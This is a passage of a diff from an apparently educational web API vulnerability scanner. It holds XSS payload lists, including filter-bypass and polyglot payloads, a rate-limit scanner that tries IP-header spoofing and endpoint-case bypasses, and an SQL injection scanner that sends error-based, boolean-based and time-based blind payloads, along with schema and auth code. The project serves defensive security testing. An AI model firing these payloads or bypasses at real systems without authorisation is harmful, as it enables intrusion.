"%3Cscript%3Ealert('XSS')%3C/script%3E",
|
||||
"<script>alert('XSS')</script>",
|
||||
"\\x3cscript\\x3ealert('XSS')\\x3c/script\\x3e",
|
||||
]
|
||||
|
||||
ATTRIBUTE_BREAKING = [
|
||||
"' onmouseover='alert(\"XSS\")'",
|
||||
"\" onmouseover=\"alert('XSS')\"",
|
||||
"' onclick='alert(\"XSS\")' '",
|
||||
"\" autofocus onfocus=\"alert('XSS')\"",
|
||||
"'/><script>alert('XSS')</script>",
|
||||
"\"/><script>alert('XSS')</script>",
|
||||
]
|
||||
|
||||
FILTER_BYPASS = [
|
||||
"<scr<script>ipt>alert('XSS')</scr</script>ipt>",
|
||||
"<ScRiPt>alert('XSS')</sCrIpT>",
|
||||
"<script>alert('XSS')//",
|
||||
"<script>alert('XSS')<!--",
|
||||
"<<script>alert('XSS')</script>",
|
||||
"<script\x20type='text/javascript'>alert('XSS')</script>",
|
||||
"<script\x0D\x0A>alert('XSS')</script>",
|
||||
]
|
||||
|
||||
POLYGLOT_XSS = [
|
||||
"javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>",
|
||||
"'\"><script>alert(String.fromCharCode(88,83,83))</script>",
|
||||
"-->'><script>alert(1)</script>",
|
||||
"';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></script>",
|
||||
]
|
||||
|
||||
@classmethod
|
||||
def get_all_payloads(cls) -> list[str]:
|
||||
"""
|
||||
Get all XSS test payloads combined
|
||||
|
||||
Returns:
|
||||
list[str]: All XSS test payloads
|
||||
"""
|
||||
return (
|
||||
cls.BASIC_XSS + cls.EVENT_HANDLER_XSS + cls.SVG_XSS +
|
||||
cls.IFRAME_XSS + cls.ENCODED_XSS +
|
||||
cls.ATTRIBUTE_BREAKING + cls.FILTER_BYPASS +
|
||||
cls.POLYGLOT_XSS
|
||||
)
|
||||
|
||||
@classmethod
|
||||
def get_basic_payloads(cls) -> list[str]:
|
||||
"""
|
||||
Get basic XSS test payloads
|
||||
|
||||
Returns:
|
||||
list[str]: Basic XSS payloads
|
||||
"""
|
||||
return cls.BASIC_XSS
|
||||
|
|
@ -0,0 +1,354 @@
|
|||
"""
|
||||
©AngelaMos | 2025
|
||||
Rate limiting detection and bypass testing scanner
|
||||
|
||||
OWASP API4:2023
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
import time
|
||||
from typing import Any
|
||||
|
||||
from ..core.enums import (
|
||||
ScanStatus,
|
||||
Severity,
|
||||
TestType,
|
||||
)
|
||||
from ..schemas.test_result_schemas import TestResultCreate
|
||||
|
||||
from .base_scanner import BaseScanner
|
||||
from .payloads import RateLimitBypassPayloads
|
||||
|
||||
|
||||
class RateLimitScanner(BaseScanner):
|
||||
"""
|
||||
Rate limiting and bypass vulnerabilities tests
|
||||
"""
|
||||
def scan(self) -> TestResultCreate:
|
||||
"""
|
||||
Execute rate limiting tests
|
||||
|
||||
Returns:
|
||||
TestResultCreate: Scan result with findings
|
||||
"""
|
||||
rate_limit_info = self._detect_rate_limiting()
|
||||
|
||||
if not rate_limit_info["rate_limit_detected"]:
|
||||
return self._create_vulnerable_result(
|
||||
details =
|
||||
"No rate limiting detected on target endpoint",
|
||||
evidence = rate_limit_info,
|
||||
recommendations = [
|
||||
"Implement rate limiting to prevent abuse and DoS attacks",
|
||||
"Use standard rate limit headers (X-RateLimit-Limit, X-RateLimit-Remaining)",
|
||||
"Return 429 Too Many Requests when limits are exceeded",
|
||||
"Include Retry-After header with 429 responses",
|
||||
],
|
||||
)
|
||||
|
||||
if rate_limit_info["enforcement_status"] == "HEADERS_ONLY":
|
||||
return self._create_vulnerable_result(
|
||||
details =
|
||||
"Rate limit headers present but not enforced",
|
||||
evidence = rate_limit_info,
|
||||
severity = Severity.MEDIUM,
|
||||
recommendations = [
|
||||
"Enforce rate limits with 429 responses when thresholds are exceeded",
|
||||
"Rate limit headers without enforcement provide false security",
|
||||
],
|
||||
)
|
||||
|
||||
bypass_results = self._test_bypass_techniques()
|
||||
|
||||
if bypass_results["bypass_successful"]:
|
||||
return self._create_vulnerable_result(
|
||||
details =
|
||||
f"Rate limiting bypassed using: {bypass_results['bypass_method']}",
|
||||
evidence = {
|
||||
"rate_limit_info": rate_limit_info,
|
||||
"bypass_details": bypass_results,
|
||||
},
|
||||
severity = Severity.HIGH,
|
||||
recommendations = [
|
||||
f"Fix bypass vulnerability: {bypass_results['bypass_method']}",
|
||||
"Do not trust client-provided IP headers (X-Forwarded-For, X-Real-IP)",
|
||||
"Implement rate limiting at multiple layers (IP, user, API key)",
|
||||
"Validate and sanitize all client-provided headers",
|
||||
],
|
||||
)
|
||||
|
||||
return TestResultCreate(
|
||||
test_name = TestType.RATE_LIMIT,
|
||||
status = ScanStatus.SAFE,
|
||||
severity = Severity.INFO,
|
||||
details =
|
||||
"Rate limiting properly implemented and enforced",
|
||||
evidence_json = {
|
||||
"rate_limit_info": rate_limit_info,
|
||||
"bypass_attempts": bypass_results,
|
||||
},
|
||||
recommendations_json = [
|
||||
"Rate limiting is properly configured",
|
||||
"Continue monitoring for new bypass techniques",
|
||||
],
|
||||
)
|
||||
|
||||
def _detect_rate_limiting(self,
|
||||
test_request_count: int = 20
|
||||
) -> dict[str,
|
||||
Any]:
|
||||
"""
|
||||
Detect rate limiting by analyzing headers and response patterns
|
||||
|
||||
Based on industry research: checks for standard headers and 429 responses
|
||||
|
||||
Args:
|
||||
test_request_count: Number of requests to send
|
||||
|
||||
Returns:
|
||||
dict[str, Any]: Rate limiting detection results
|
||||
"""
|
||||
rate_limit_patterns = RateLimitBypassPayloads.get_header_patterns()
|
||||
|
||||
results = {
|
||||
"rate_limit_detected": False,
|
||||
"rate_limit_headers": {},
|
||||
"limit_threshold": None,
|
||||
"reset_window": None,
|
||||
"enforcement_status": None,
|
||||
"attempts_until_limit": None,
|
||||
"request_results": [],
|
||||
}
|
||||
|
||||
for attempt in range(1, test_request_count + 1):
|
||||
try:
|
||||
response = self.make_request("GET", "/")
|
||||
|
||||
headers_lower = {
|
||||
k.lower(): v
|
||||
for k, v in response.headers.items()
|
||||
}
|
||||
|
||||
for header_type, pattern in rate_limit_patterns.items():
|
||||
for header_name, header_value in headers_lower.items():
|
||||
if re.search(pattern,
|
||||
header_name,
|
||||
re.IGNORECASE):
|
||||
results["rate_limit_headers"][
|
||||
header_type] = {
|
||||
"header_name": header_name,
|
||||
"value": header_value,
|
||||
}
|
||||
results["rate_limit_detected"] = True
|
||||
|
||||
results["request_results"].append(
|
||||
{
|
||||
"attempt":
|
||||
attempt,
|
||||
"status_code":
|
||||
response.status_code,
|
||||
"response_time_ms":
|
||||
round(
|
||||
getattr(response,
|
||||
"request_time",
|
||||
0.0) * 1000,
|
||||
2
|
||||
),
|
||||
}
|
||||
)
|
||||
|
||||
if response.status_code == 429:
|
||||
results["enforcement_status"] = "ACTIVE"
|
||||
results["attempts_until_limit"] = attempt
|
||||
|
||||
retry_after = response.headers.get("Retry-After")
|
||||
if retry_after:
|
||||
results["retry_after_seconds"] = retry_after
|
||||
|
||||
break
|
||||
|
||||
time.sleep(0.1)
|
||||
|
||||
except Exception as e:
|
||||
results["request_results"].append(
|
||||
{
|
||||
"attempt": attempt,
|
||||
"error": str(e)
|
||||
}
|
||||
)
|
||||
break
|
||||
|
||||
if results["rate_limit_detected"]:
|
||||
if "limit" in results["rate_limit_headers"]:
|
||||
results["limit_threshold"] = results[
|
||||
"rate_limit_headers"]["limit"]["value"]
|
||||
|
||||
if "reset" in results["rate_limit_headers"]:
|
||||
results["reset_window"] = results["rate_limit_headers"
|
||||
]["reset"]["value"]
|
||||
|
||||
if not results["enforcement_status"]:
|
||||
results["enforcement_status"] = "HEADERS_ONLY"
|
||||
else:
|
||||
results["enforcement_status"] = "NONE"
|
||||
|
||||
return results
|
||||
|
||||
def _test_bypass_techniques(self) -> dict[str, Any]:
|
||||
"""
|
||||
Test common rate limit bypass techniques
|
||||
|
||||
Based on HackTricks and OWASP:
|
||||
- IP header spoofing (X-Forwarded-For, X-Real-IP, etc.)
|
||||
- Endpoint case variations
|
||||
|
||||
Returns:
|
||||
dict[str, Any]: Bypass test results
|
||||
"""
|
||||
results = {
|
||||
"bypass_successful": False,
|
||||
"bypass_method": None,
|
||||
"bypass_details": {},
|
||||
}
|
||||
|
||||
ip_bypass = self._test_ip_header_bypass()
|
||||
if ip_bypass["bypass_successful"]:
|
||||
results["bypass_successful"] = True
|
||||
results["bypass_method"] = "IP Header Spoofing"
|
||||
results["bypass_details"] = ip_bypass
|
||||
return results
|
||||
|
||||
endpoint_bypass = self._test_endpoint_variation_bypass()
|
||||
if endpoint_bypass["bypass_successful"]:
|
||||
results["bypass_successful"] = True
|
||||
results["bypass_method"] = "Endpoint Case Variation"
|
||||
results["bypass_details"] = endpoint_bypass
|
||||
return results
|
||||
|
||||
results["bypass_details"] = {
|
||||
"ip_header_test": ip_bypass,
|
||||
"endpoint_variation_test": endpoint_bypass,
|
||||
}
|
||||
|
||||
return results
|
||||
|
||||
def _test_ip_header_bypass(self,
|
||||
test_count: int = 15) -> dict[str,
|
||||
Any]:
|
||||
"""
|
||||
Test if rate limiting can be bypassed with IP spoofing headers
|
||||
|
||||
Many rate limiters trust X-Forwarded-For and similar headers,
|
||||
allowing attackers to bypass limits by rotating fake IPs
|
||||
|
||||
Args:
|
||||
test_count: Number of requests to test
|
||||
|
||||
Returns:
|
||||
dict[str, Any]: IP bypass test results
|
||||
"""
|
||||
bypass_headers = RateLimitBypassPayloads.HEADER_SPOOFING
|
||||
|
||||
for header_dict in bypass_headers:
|
||||
header_name = list(header_dict.keys())[0]
|
||||
success_count = 0
|
||||
|
||||
for i in range(test_count):
|
||||
fake_ip = f"10.{i % 255}.{(i // 255) % 255}.1"
|
||||
test_headers = {header_name: fake_ip}
|
||||
|
||||
try:
|
||||
response = self.make_request(
|
||||
"GET",
|
||||
"/",
|
||||
headers = test_headers
|
||||
)
|
||||
|
||||
if response.status_code != 429:
|
||||
success_count += 1
|
||||
else:
|
||||
break
|
||||
|
||||
except Exception:
|
||||
break
|
||||
|
||||
if success_count == test_count:
|
||||
return {
|
||||
"bypass_successful": True,
|
||||
"header_used": header_name,
|
||||
"requests_completed": success_count,
|
||||
"fake_ip_example": "10.0.0.1",
|
||||
}
|
||||
|
||||
return {
|
||||
"bypass_successful": False,
|
||||
"headers_tested":
|
||||
[list(h.keys())[0] for h in bypass_headers],
|
||||
}
|
||||
|
||||
def _test_endpoint_variation_bypass(self) -> dict[str, Any]:
|
||||
"""
|
||||
Test if endpoint case variations bypass rate limiting
|
||||
|
||||
Some rate limiters are case-sensitive or miss URL variations
|
||||
|
||||
Returns:
|
||||
dict[str, Any]: Endpoint variation test results
|
||||
"""
|
||||
variations = RateLimitBypassPayloads.get_endpoint_variations()
|
||||
|
||||
for variant in variations:
|
||||
success_count = 0
|
||||
|
||||
for _ in range(10):
|
||||
try:
|
||||
response = self.make_request("GET", variant)
|
||||
if response.status_code != 429:
|
||||
success_count += 1
|
||||
else:
|
||||
break
|
||||
except Exception:
|
||||
break
|
||||
|
||||
if success_count == 10 and variant != "/":
|
||||
return {
|
||||
"bypass_successful": True,
|
||||
"bypass_variant": variant,
|
||||
"requests_completed": success_count,
|
||||
}
|
||||
|
||||
return {
|
||||
"bypass_successful": False,
|
||||
"variations_tested": variations,
|
||||
}
|
||||
|
||||
def _create_vulnerable_result(
|
||||
self,
|
||||
details: str,
|
||||
evidence: dict[str,
|
||||
Any],
|
||||
severity: Severity = Severity.HIGH,
|
||||
recommendations: list[str] | None = None,
|
||||
) -> TestResultCreate:
|
||||
"""
|
||||
Create a vulnerable scan result
|
||||
|
||||
Args:
|
||||
details: Vulnerability description
|
||||
evidence: Evidence dictionary
|
||||
severity: Vulnerability severity
|
||||
recommendations: List of remediation recommendations
|
||||
|
||||
Returns:
|
||||
TestResultCreate: Vulnerable result
|
||||
"""
|
||||
return TestResultCreate(
|
||||
test_name = TestType.RATE_LIMIT,
|
||||
status = ScanStatus.VULNERABLE,
|
||||
severity = severity,
|
||||
details = details,
|
||||
evidence_json = evidence,
|
||||
recommendations_json = recommendations or [],
|
||||
)
|
||||
|
|
@ -0,0 +1,316 @@
|
|||
"""
|
||||
©AngelaMos | 2025
|
||||
SQL injection vulnerability scanner
|
||||
|
||||
Tests error based, boolean based, and time based blind SQLi
|
||||
"""
|
||||
|
||||
import time
|
||||
import statistics
|
||||
from typing import Any
|
||||
|
||||
from ..core.enums import (
|
||||
ScanStatus,
|
||||
Severity,
|
||||
TestType,
|
||||
)
|
||||
from ..schemas.test_result_schemas import TestResultCreate
|
||||
|
||||
from .payloads import SQLiPayloads
|
||||
from .base_scanner import BaseScanner
|
||||
|
||||
|
||||
class SQLiScanner(BaseScanner):
|
||||
"""
|
||||
Tests for SQL injection vulnerabilities
|
||||
|
||||
Detects:
|
||||
- Error-based SQLi (database error messages)
|
||||
- Boolean-based blind SQLi (response differences)
|
||||
- Time-based blind SQLi (response timing analysis)
|
||||
|
||||
Uses payloads covering MySQL, PostgreSQL, MSSQL, Oracle
|
||||
"""
|
||||
|
||||
def scan(self) -> TestResultCreate:
|
||||
"""
|
||||
Execute SQL injection tests
|
||||
|
||||
Returns:
|
||||
TestResultCreate: Scan result with findings
|
||||
"""
|
||||
error_based_test = self._test_error_based_sqli()
|
||||
if error_based_test["vulnerable"]:
|
||||
return self._create_vulnerable_result(
|
||||
details=f"Error-based SQL injection detected: {error_based_test['database_type']}",
|
||||
evidence=error_based_test,
|
||||
severity=Severity.CRITICAL,
|
||||
recommendations=[
|
||||
"Use parameterized queries (prepared statements)",
|
||||
"Never concatenate user input into SQL queries",
|
||||
"Implement input validation and sanitization",
|
||||
"Disable detailed error messages in production",
|
||||
"Use ORM frameworks with proper escaping",
|
||||
],
|
||||
)
|
||||
|
||||
boolean_based_test = self._test_boolean_based_sqli()
|
||||
if boolean_based_test["vulnerable"]:
|
||||
return self._create_vulnerable_result(
|
||||
details="Boolean-based blind SQL injection detected",
|
||||
evidence=boolean_based_test,
|
||||
severity=Severity.CRITICAL,
|
||||
recommendations=[
|
||||
"Use parameterized queries for all database operations",
|
||||
"Implement proper input validation",
|
||||
"Avoid exposing different responses for true/false conditions",
|
||||
],
|
||||
)
|
||||
|
||||
time_based_test = self._test_time_based_sqli()
|
||||
if time_based_test["vulnerable"]:
|
||||
return self._create_vulnerable_result(
|
||||
details=f"Time-based blind SQL injection detected: {time_based_test['database_type']}",
|
||||
evidence=time_based_test,
|
||||
severity=Severity.CRITICAL,
|
||||
recommendations=[
|
||||
"Use parameterized queries exclusively",
|
||||
"Implement strict input validation",
|
||||
"Monitor for unusual response time patterns",
|
||||
],
|
||||
)
|
||||
|
||||
return TestResultCreate(
|
||||
test_name=TestType.SQLI,
|
||||
status=ScanStatus.SAFE,
|
||||
severity=Severity.INFO,
|
||||
details="No SQL injection vulnerabilities detected",
|
||||
evidence_json={
|
||||
"error_based_test": error_based_test,
|
||||
"boolean_based_test": boolean_based_test,
|
||||
"time_based_test": time_based_test,
|
||||
},
|
||||
recommendations_json=[
|
||||
"Continue using parameterized queries",
|
||||
"Regularly update security testing",
|
||||
],
|
||||
)
|
||||
|
||||
def _test_error_based_sqli(self) -> dict[str, Any]:
|
||||
"""
|
||||
Test for error based SQL injection
|
||||
|
||||
Detects database errors in responses indicating SQLi vulnerability
|
||||
|
||||
Returns:
|
||||
dict[str, Any]: Error-based SQLi test results
|
||||
"""
|
||||
error_signatures = SQLiPayloads.get_error_signatures()
|
||||
|
||||
basic_payloads = SQLiPayloads.BASIC_AUTHENTICATION_BYPASS
|
||||
|
||||
for payload in basic_payloads:
|
||||
try:
|
||||
response = self.make_request(
|
||||
"GET", f"/?id={payload}"
|
||||
)
|
||||
|
||||
response_text_lower = response.text.lower()
|
||||
|
||||
for db_type, signatures in error_signatures.items():
|
||||
for signature in signatures:
|
||||
if signature in response_text_lower:
|
||||
return {
|
||||
"vulnerable": True,
|
||||
"database_type": db_type,
|
||||
"payload": payload,
|
||||
"status_code": response.status_code,
|
||||
"error_signature": signature,
|
||||
"response_excerpt": response.text[:500],
|
||||
}
|
||||
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"payloads_tested": len(basic_payloads),
|
||||
"description": "No database errors detected",
|
||||
}
|
||||
|
||||
def _test_boolean_based_sqli(self) -> dict[str, Any]:
|
||||
"""
|
||||
Test for boolean based blind SQL injection
|
||||
|
||||
Compares responses from true vs false conditions to detect SQLi
|
||||
|
||||
Returns:
|
||||
dict[str, Any]: Boolean based SQLi test results
|
||||
"""
|
||||
try:
|
||||
baseline_response = self.make_request("GET", "/?id=1")
|
||||
baseline_length = len(baseline_response.text)
|
||||
baseline_status = baseline_response.status_code
|
||||
|
||||
if baseline_status != 200:
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"description": "Baseline request failed",
|
||||
"baseline_status": baseline_status,
|
||||
}
|
||||
|
||||
boolean_payloads = SQLiPayloads.BOOLEAN_BASED_BLIND
|
||||
true_payloads = [p for p in boolean_payloads if "AND '1'='1" in p or "AND 1=1" in p]
|
||||
false_payloads = [p for p in boolean_payloads if "AND '1'='2" in p or "AND 1=2" in p or "AND 1=0" in p]
|
||||
|
||||
true_lengths = []
|
||||
for payload in true_payloads:
|
||||
response = self.make_request("GET", f"/?id={payload}")
|
||||
true_lengths.append(len(response.text))
|
||||
|
||||
false_lengths = []
|
||||
for payload in false_payloads:
|
||||
response = self.make_request("GET", f"/?id={payload}")
|
||||
false_lengths.append(len(response.text))
|
||||
|
||||
avg_true = statistics.mean(true_lengths)
|
||||
avg_false = statistics.mean(false_lengths)
|
||||
|
||||
length_diff = abs(avg_true - avg_false)
|
||||
|
||||
if length_diff > 100 and avg_true != avg_false:
|
||||
return {
|
||||
"vulnerable": True,
|
||||
"baseline_length": baseline_length,
|
||||
"true_condition_avg_length": avg_true,
|
||||
"false_condition_avg_length": avg_false,
|
||||
"length_difference": length_diff,
|
||||
"confidence": "HIGH"
|
||||
if length_diff > 500
|
||||
else "MEDIUM",
|
||||
}
|
||||
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"description": "No boolean-based SQLi detected",
|
||||
"length_difference": length_diff,
|
||||
}
|
||||
|
||||
except Exception as e:
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"error": str(e),
|
||||
"description": "Error testing boolean-based SQLi",
|
||||
}
|
||||
|
||||
def _test_time_based_sqli(
|
||||
self, delay_seconds: int = 5
|
||||
) -> dict[str, Any]:
|
||||
"""
|
||||
Test for time based blind SQL injection
|
||||
|
||||
Uses baseline timing comparison with statistical analysis
|
||||
for false positive reduction
|
||||
|
||||
Args:
|
||||
delay_seconds: Delay to inject (from settings)
|
||||
|
||||
Returns:
|
||||
dict[str, Any]: Time-based SQLi test results
|
||||
"""
|
||||
try:
|
||||
baseline_mean, baseline_stdev = self.get_baseline_timing("/")
|
||||
|
||||
threshold = baseline_mean + (3 * baseline_stdev)
|
||||
expected_delay_time = baseline_mean + delay_seconds
|
||||
|
||||
all_time_payloads = SQLiPayloads.TIME_BASED_BLIND
|
||||
|
||||
delay_payloads = {
|
||||
"mysql": [p for p in all_time_payloads if "SLEEP" in p],
|
||||
"postgres": [p for p in all_time_payloads if "pg_sleep" in p],
|
||||
"mssql": [p for p in all_time_payloads if "WAITFOR" in p],
|
||||
}
|
||||
|
||||
for db_type, payloads in delay_payloads.items():
|
||||
for payload in payloads:
|
||||
delay_times = []
|
||||
|
||||
for _ in range(3):
|
||||
try:
|
||||
response = self.make_request(
|
||||
"GET",
|
||||
f"/?id={payload}",
|
||||
timeout=delay_seconds + 10,
|
||||
)
|
||||
elapsed = getattr(response, "request_time", 0.0)
|
||||
delay_times.append(elapsed)
|
||||
|
||||
except Exception:
|
||||
delay_times.append(delay_seconds + 10)
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
avg_delay = statistics.mean(delay_times)
|
||||
|
||||
if avg_delay >= expected_delay_time - 1:
|
||||
confidence = (
|
||||
"HIGH"
|
||||
if avg_delay >= expected_delay_time
|
||||
else "MEDIUM"
|
||||
)
|
||||
|
||||
return {
|
||||
"vulnerable": True,
|
||||
"database_type": db_type,
|
||||
"payload": payload,
|
||||
"baseline_time": f"{baseline_mean:.3f}s",
|
||||
"response_time": f"{avg_delay:.3f}s",
|
||||
"expected_delay": f"{expected_delay_time:.3f}s",
|
||||
"confidence": confidence,
|
||||
"individual_times": [
|
||||
f"{t:.3f}s" for t in delay_times
|
||||
],
|
||||
}
|
||||
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"baseline_time": f"{baseline_mean:.3f}s",
|
||||
"threshold": f"{threshold:.3f}s",
|
||||
"description": "No time-based SQLi detected",
|
||||
}
|
||||
|
||||
except Exception as e:
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"error": str(e),
|
||||
"description": "Error testing time-based SQLi",
|
||||
}
|
||||
|
||||
def _create_vulnerable_result(
|
||||
self,
|
||||
details: str,
|
||||
evidence: dict[str, Any],
|
||||
severity: Severity = Severity.CRITICAL,
|
||||
recommendations: list[str] | None = None,
|
||||
) -> TestResultCreate:
|
||||
"""
|
||||
Create a vulnerable scan result
|
||||
|
||||
Args:
|
||||
details: Vulnerability description
|
||||
evidence: Evidence dictionary
|
||||
severity: Vulnerability severity
|
||||
recommendations: List of remediation recommendations
|
||||
|
||||
Returns:
|
||||
TestResultCreate: Vulnerable result
|
||||
"""
|
||||
return TestResultCreate(
|
||||
test_name=TestType.SQLI,
|
||||
status=ScanStatus.VULNERABLE,
|
||||
severity=severity,
|
||||
details=details,
|
||||
evidence_json=evidence,
|
||||
recommendations_json=recommendations or [],
|
||||
)
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
"""Pydantic schemas for API validation and serialization"""
|
||||
|
||||
from .user_schemas import (
|
||||
TokenResponse,
|
||||
UserCreate,
|
||||
UserLogin,
|
||||
UserResponse,
|
||||
)
|
||||
from .scan_schemas import (
|
||||
ScanRequest,
|
||||
ScanResponse,
|
||||
)
|
||||
from .test_result_schemas import (
|
||||
TestResultCreate,
|
||||
TestResultResponse,
|
||||
)
|
||||
|
||||
__all__ = [
|
||||
# User schemas
|
||||
"UserCreate",
|
||||
"UserLogin",
|
||||
"UserResponse",
|
||||
"TokenResponse",
|
||||
# Scan schemas
|
||||
"ScanRequest",
|
||||
"ScanResponse",
|
||||
# Test result schemas
|
||||
"TestResultCreate",
|
||||
"TestResultResponse",
|
||||
]
|
||||
|
|
@ -0,0 +1,63 @@
|
|||
"""
|
||||
ⒸAngelaMos | 2025
|
||||
Scan model API validation and serialization.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from pydantic import (
|
||||
BaseModel,
|
||||
ConfigDict,
|
||||
Field,
|
||||
HttpUrl,
|
||||
)
|
||||
from datetime import datetime
|
||||
|
||||
from ..config import settings
|
||||
from ..core.enums import TestType
|
||||
|
||||
|
||||
class ScanRequest(BaseModel):
|
||||
"""
|
||||
Schema for creating a new security scan
|
||||
"""
|
||||
target_url: HttpUrl = Field(max_length = settings.URL_MAX_LENGTH)
|
||||
auth_token: str | None = None
|
||||
tests_to_run: list[TestType] = Field(min_length = 1)
|
||||
max_requests: int = Field(
|
||||
default = settings.DEFAULT_MAX_REQUESTS,
|
||||
ge = 1,
|
||||
le = settings.SCANNER_MAX_CONCURRENT_REQUESTS,
|
||||
)
|
||||
|
||||
|
||||
class ScanResponse(BaseModel):
|
||||
"""
|
||||
Schema for scan data in API responses
|
||||
"""
|
||||
# Circular to avoid circular imports
|
||||
from .test_result_schemas import TestResultResponse
|
||||
model_config = ConfigDict(from_attributes = True)
|
||||
|
||||
id: int
|
||||
user_id: int
|
||||
target_url: str
|
||||
scan_date: datetime
|
||||
created_at: datetime
|
||||
test_results: list[TestResultResponse] = []
|
||||
|
||||
@property
|
||||
def total_tests(self) -> int:
|
||||
"""
|
||||
Total number of tests run
|
||||
"""
|
||||
return len(self.test_results)
|
||||
|
||||
@property
|
||||
def vulnerabilities_found(self) -> int:
|
||||
"""
|
||||
Number of vulnerabilities found
|
||||
"""
|
||||
return sum(
|
||||
1 for r in self.test_results if r.status == "vulnerable"
|
||||
)
|
||||
|
|
@ -0,0 +1,61 @@
|
|||
"""
|
||||
ⒸAngelaMos | 2025
|
||||
TestResult model API validation and serialization
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
from datetime import datetime
|
||||
from pydantic import (
|
||||
BaseModel,
|
||||
ConfigDict,
|
||||
Field,
|
||||
)
|
||||
|
||||
from ..core.enums import (
|
||||
ScanStatus,
|
||||
Severity,
|
||||
TestType,
|
||||
)
|
||||
|
||||
|
||||
class TestResultCreate(BaseModel):
|
||||
"""
|
||||
Schema for creating a new test result (used by scanners)
|
||||
"""
|
||||
test_name: TestType
|
||||
status: ScanStatus
|
||||
severity: Severity
|
||||
details: str
|
||||
evidence_json: dict[str, Any] = Field(default_factory = dict)
|
||||
recommendations_json: list[str] = Field(default_factory = list)
|
||||
|
||||
|
||||
class TestResultResponse(BaseModel):
|
||||
"""
|
||||
Schema for individual test result in API responses
|
||||
"""
|
||||
model_config = ConfigDict(from_attributes = True)
|
||||
|
||||
id: int
|
||||
scan_id: int
|
||||
test_name: TestType
|
||||
status: ScanStatus
|
||||
severity: Severity
|
||||
details: str
|
||||
evidence_json: dict[str, Any]
|
||||
recommendations_json: list[str]
|
||||
created_at: datetime
|
||||
|
||||
@property
|
||||
def is_vulnerable(self) -> bool:
|
||||
"""
|
||||
Check if result indicates a vulnerability
|
||||
"""
|
||||
return self.status == ScanStatus.VULNERABLE
|
||||
|
||||
@property
|
||||
def is_high_severity(self) -> bool:
|
||||
"""
|
||||
Check if vulnerability is high severity
|
||||
"""
|
||||
return self.severity == Severity.HIGH
|
||||
|
|
@ -0,0 +1,55 @@
|
|||
"""
|
||||
Pydantic schemas for User model - API validation and serialization.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from datetime import datetime
|
||||
|
||||
from pydantic import BaseModel, ConfigDict, EmailStr, Field
|
||||
|
||||
from ..config import settings
|
||||
|
||||
|
||||
class UserCreate(BaseModel):
|
||||
"""
|
||||
Schema for user registration request.
|
||||
"""
|
||||
|
||||
email: EmailStr
|
||||
password: str = Field(
|
||||
min_length = settings.PASSWORD_MIN_LENGTH,
|
||||
max_length = settings.PASSWORD_MAX_LENGTH,
|
||||
)
|
||||
|
||||
|
||||
class UserLogin(BaseModel):
|
||||
"""
|
||||
Schema for user login request.
|
||||
"""
|
||||
|
||||
email: EmailStr
|
||||
password: str
|
||||
|
||||
|
||||
class UserResponse(BaseModel):
|
||||
"""
|
||||
Schema for user data in API responses.
|
||||
Excludes sensitive fields like hashed_password.
|
||||
"""
|
||||
|
||||
model_config = ConfigDict(from_attributes = True)
|
||||
|
||||
id: int
|
||||
email: str
|
||||
is_active: bool
|
||||
created_at: datetime
|
||||
|
||||
|
||||
class TokenResponse(BaseModel):
|
||||
"""
|
||||
Schema for JWT token response.
|
||||
"""
|
||||
|
||||
access_token: str
|
||||
token_type: str = "bearer"
|
||||
|
|
@ -0,0 +1,13 @@
|
|||
"""
|
||||
ⒸAngelaMos | 2025
|
||||
Biz logic layer for orchestrating repositories and scanners
|
||||
"""
|
||||
|
||||
from .auth_service import AuthService
|
||||
from .scan_service import ScanService
|
||||
|
||||
|
||||
__all__ = [
|
||||
"AuthService",
|
||||
"ScanService",
|
||||
]
|
||||
|
|
@ -0,0 +1,132 @@
|
|||
"""
|
||||
©AngelaMos | 2025
|
||||
Authentication service for user registration and login
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from datetime import timedelta
|
||||
from sqlalchemy.orm import Session
|
||||
from fastapi import HTTPException, status
|
||||
|
||||
from ..config import settings
|
||||
from ..core.security import (
|
||||
create_access_token,
|
||||
hash_password,
|
||||
verify_password,
|
||||
)
|
||||
from ..schemas.user_schemas import (
|
||||
TokenResponse,
|
||||
UserCreate,
|
||||
UserLogin,
|
||||
UserResponse,
|
||||
)
|
||||
from ..repositories.user_repository import UserRepository
|
||||
|
||||
|
||||
class AuthService:
|
||||
"""
|
||||
User registration, login, and token generation
|
||||
"""
|
||||
@staticmethod
|
||||
def register_user(
|
||||
db: Session,
|
||||
user_data: UserCreate
|
||||
) -> UserResponse:
|
||||
"""
|
||||
Register a new user
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
user_data: User registration data
|
||||
|
||||
Returns:
|
||||
UserResponse: Created user data
|
||||
"""
|
||||
existing_user = UserRepository.get_by_email(
|
||||
db,
|
||||
user_data.email
|
||||
)
|
||||
if existing_user:
|
||||
raise HTTPException(
|
||||
status_code = status.HTTP_400_BAD_REQUEST,
|
||||
detail = "Email already registered",
|
||||
)
|
||||
|
||||
hashed_password = hash_password(user_data.password)
|
||||
|
||||
user = UserRepository.create_user(
|
||||
db = db,
|
||||
email = user_data.email,
|
||||
hashed_password = hashed_password,
|
||||
)
|
||||
|
||||
return UserResponse.model_validate(user)
|
||||
|
||||
@staticmethod
|
||||
def login_user(
|
||||
db: Session,
|
||||
login_data: UserLogin
|
||||
) -> TokenResponse:
|
||||
"""
|
||||
Authenticate user and generate access token
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
login_data: User login credentials
|
||||
|
||||
Returns:
|
||||
TokenResponse: JWT access token
|
||||
"""
|
||||
user = UserRepository.get_by_email(db, login_data.email)
|
||||
|
||||
if not user:
|
||||
raise HTTPException(
|
||||
